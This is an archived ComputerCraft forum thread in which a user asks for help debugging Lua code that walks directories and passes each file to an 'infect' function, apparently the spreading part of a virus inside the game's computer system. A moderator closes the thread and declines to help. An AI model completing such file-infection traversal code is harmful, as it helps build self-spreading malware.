This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Exerro's profile picture

fs.list not working (again)

Started by Exerro, 14 January 2013 - 02:14 AM
Exerro #1
Posted 14 January 2013 - 03:14 AM
my code:
Spoiler

function sort(path)
if fs.isDir(path) then
  for i = 1,#dirsLeft do
   if dirsLeft[i] == path then
    table.remove(dirsLeft,i)
    break
   end
  end
  m = fs.list(path)
  for i = 1,#m do
   if not m[i] then
    m[i] = "blanktestingnothingnessthatshouldbeleftalone"
   end
   if fs.isDir(m[i]) then   <-- error is here if the 3 lines above arent there <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< look here!
    table.insert(dirsLeft,m[i])
   elseif fs.exists(m[i]) then
    infect(m[i])
   end
  end
end
end
i have gone through it loads of times…i check that path is a dir then fs.list(path) should return the names of all the files and not return any nil values but for some reason it does the first file fine but the rest it thinks are nil and gives the error-expected string or something so i put in 3 lines that stop it erroring but then only 1 file is affected :l
Cloudy #2
Posted 14 January 2013 - 03:20 AM
Considering you want to "infect" files, I'm going to close this thread and not help. You want to make a virus, you do it on your own terms without help here.